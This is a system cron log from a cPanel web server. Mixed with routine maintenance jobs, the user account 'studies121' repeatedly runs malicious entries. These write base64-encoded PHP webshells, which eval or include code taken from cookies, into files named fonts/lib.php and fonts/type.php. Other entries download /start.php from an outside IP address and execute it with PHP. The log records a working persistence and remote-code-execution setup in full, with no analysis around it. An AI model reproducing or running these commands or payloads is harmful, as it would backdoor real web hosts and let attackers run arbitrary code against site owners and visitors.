Aug 31 15:05:01 ip-184-168-122-23 CROND[19019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19022]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:06:02 ip-184-168-122-23 CROND[19115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:06:02 ip-184-168-122-23 CROND[19116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:06:02 ip-184-168-122-23 CROND[19117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:06:02 ip-184-168-122-23 CROND[19119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:06:02 ip-184-168-122-23 CROND[19118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:07:01 ip-184-168-122-23 CROND[19218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:07:01 ip-184-168-122-23 CROND[19221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:07:01 ip-184-168-122-23 CROND[19222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:07:01 ip-184-168-122-23 CROND[19220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:08:01 ip-184-168-122-23 CROND[19309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:08:01 ip-184-168-122-23 CROND[19313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:08:01 ip-184-168-122-23 CROND[19314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:08:01 ip-184-168-122-23 CROND[19311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:08:01 ip-184-168-122-23 CROND[19312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:09:01 ip-184-168-122-23 CROND[19486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:09:01 ip-184-168-122-23 CROND[19487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:09:01 ip-184-168-122-23 CROND[19490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:09:01 ip-184-168-122-23 CROND[19491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:09:01 ip-184-168-122-23 CROND[19492]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:10:01 ip-184-168-122-23 CROND[19589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:10:01 ip-184-168-122-23 CROND[19593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:10:01 ip-184-168-122-23 CROND[19596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:11:01 ip-184-168-122-23 CROND[19702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:11:01 ip-184-168-122-23 CROND[19701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:11:01 ip-184-168-122-23 CROND[19703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:11:01 ip-184-168-122-23 CROND[19704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:12:01 ip-184-168-122-23 CROND[19809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:12:01 ip-184-168-122-23 CROND[19811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:12:01 ip-184-168-122-23 CROND[19812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:12:01 ip-184-168-122-23 CROND[19814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:12:01 ip-184-168-122-23 CROND[19813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:13:02 ip-184-168-122-23 CROND[19898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:13:02 ip-184-168-122-23 CROND[19900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:13:02 ip-184-168-122-23 CROND[19901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:13:02 ip-184-168-122-23 CROND[19905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:14:01 ip-184-168-122-23 CROND[19990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:14:01 ip-184-168-122-23 CROND[19992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:14:01 ip-184-168-122-23 CROND[19994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:14:01 ip-184-168-122-23 CROND[19995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:14:01 ip-184-168-122-23 CROND[19996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:15:01 ip-184-168-122-23 CROND[20195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:15:01 ip-184-168-122-23 CROND[20199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:16:01 ip-184-168-122-23 CROND[20308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:16:01 ip-184-168-122-23 CROND[20309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:16:01 ip-184-168-122-23 CROND[20313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:16:01 ip-184-168-122-23 CROND[20316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:16:01 ip-184-168-122-23 CROND[20312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:16:01 ip-184-168-122-23 CROND[20315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:17:01 ip-184-168-122-23 CROND[20409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:17:01 ip-184-168-122-23 CROND[20406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:17:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
